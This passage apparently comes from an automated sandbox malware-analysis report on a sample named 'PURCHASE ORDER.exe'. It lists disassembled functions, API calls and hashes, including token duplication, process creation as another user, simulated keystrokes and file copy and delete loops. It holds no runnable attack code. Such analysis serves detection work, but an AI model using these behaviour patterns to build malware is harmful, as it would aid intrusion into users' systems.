                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                          • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                                                                          • Opcode Fuzzy Hash: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                          • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                                                                          Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ProcWindow
                                                                          • String ID:
                                                                          • API String ID: 181713994-0
                                                                          • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                          • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                          • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                          • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                          Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateHeap
                                                                          • String ID:
                                                                          • API String ID: 10892065-0
                                                                          • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                          • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                          • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                          • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                          Function 00444343 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                          • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: File$PointerWrite
                                                                          • String ID:
                                                                          • API String ID: 539440098-0
                                                                          • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                          • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                          • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                          • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                          Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ProcWindow
                                                                          • String ID:
                                                                          • API String ID: 181713994-0
                                                                          • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                          • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                          • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                          • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                          Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wfsopen
                                                                          • String ID:
                                                                          • API String ID: 197181222-0
                                                                          • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                          • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                          • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                          • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                          Function 0040D900 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CloseHandle
                                                                          • String ID:
                                                                          • API String ID: 2962429428-0
                                                                          • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                          • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                          • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                          • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                          Function 03F5BF68 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • Sleep.KERNELBASE(000001F4), ref: 03F5BF79
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2068790449.0000000003F59000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F59000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_3f59000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID:
                                                                          • API String ID: 3472027048-0
                                                                          • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                          • Instruction ID: cfd4f722cb83b674f1eb309de9389b6626b2a891ec1ab293e0c55ef9437b1e95
                                                                          • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                          • Instruction Fuzzy Hash: 73E0E67494420EDFDB00DFF8D54969D7BF4EF04301F1001A1FD05D2280D6309D508A62

                                                                          Non-executed Functions

                                                                          Function 0047C08E Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 676windowkeyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                          • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                          • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                          • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                          • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                          • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                          • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                          • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                          • SendMessageW.USER32 ref: 0047C2FB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$State$LongProcWindow
                                                                          • String ID: @GUI_DRAGID$F
                                                                          • API String ID: 1562745308-4164748364
                                                                          • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                          • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                          • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                          • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                          Function 004045E0 Relevance: 46.9, Strings: 35, Instructions: 3193COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                          • API String ID: 0-3772701627
                                                                          • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                          • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                                                                          • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                          • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                          Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                          • IsIconic.USER32(?), ref: 004375E1
                                                                          • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                          • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                          • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                          • SetForegroundWindow.USER32(?), ref: 00437645
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                          • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                          • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                          • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                          • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                          • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                          • String ID: Shell_TrayWnd
                                                                          • API String ID: 3778422247-2988720461
                                                                          • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                          • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                          • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                          • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                          Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0044621B
                                                                          • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                          • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                          • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                          • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                          • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                          • _wcslen.LIBCMT ref: 0044639E
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          • _wcsncpy.LIBCMT ref: 004463C7
                                                                          • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                          • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                          • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                          • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                          • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                          • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                          • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                          • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                          • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                          • String ID: $default$winsta0
                                                                          • API String ID: 2173856841-1027155976
                                                                          • Opcode ID: 60466c812311f25fb86c91292e7101a774af41f6c0f7563e11afd4658bd94aff
                                                                          • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                          • Opcode Fuzzy Hash: 60466c812311f25fb86c91292e7101a774af41f6c0f7563e11afd4658bd94aff
                                                                          • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                          Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PURCHASE ORDER.exe,?,C:\Users\user\Desktop\PURCHASE ORDER.exe,004A8E80,C:\Users\user\Desktop\PURCHASE ORDER.exe,0040F3D2), ref: 0040FFCA
                                                                            • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                            • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                            • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                            • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                          • _wcscat.LIBCMT ref: 0044BD96
                                                                          • _wcscat.LIBCMT ref: 0044BDBF
                                                                          • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                          • _wcscpy.LIBCMT ref: 0044BE73
                                                                          • _wcscat.LIBCMT ref: 0044BE85
                                                                          • _wcscat.LIBCMT ref: 0044BE97
                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                          • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                          • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                          • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                          • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                          • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                          • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                          • String ID: \*.*
                                                                          • API String ID: 2188072990-1173974218
                                                                          • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                          • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                          • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                          • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                          Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                          • __swprintf.LIBCMT ref: 00434D91
                                                                          • _wcslen.LIBCMT ref: 00434D9B
                                                                          • _wcslen.LIBCMT ref: 00434DB0
                                                                          • _wcslen.LIBCMT ref: 00434DC5
                                                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                          • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                          • _memset.LIBCMT ref: 00434E27
                                                                          • _wcslen.LIBCMT ref: 00434E3C
                                                                          • _wcsncpy.LIBCMT ref: 00434E6F
                                                                          • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                          • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                          • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                          • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                          • String ID: :$\$\??\%s
                                                                          • API String ID: 302090198-3457252023
                                                                          • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
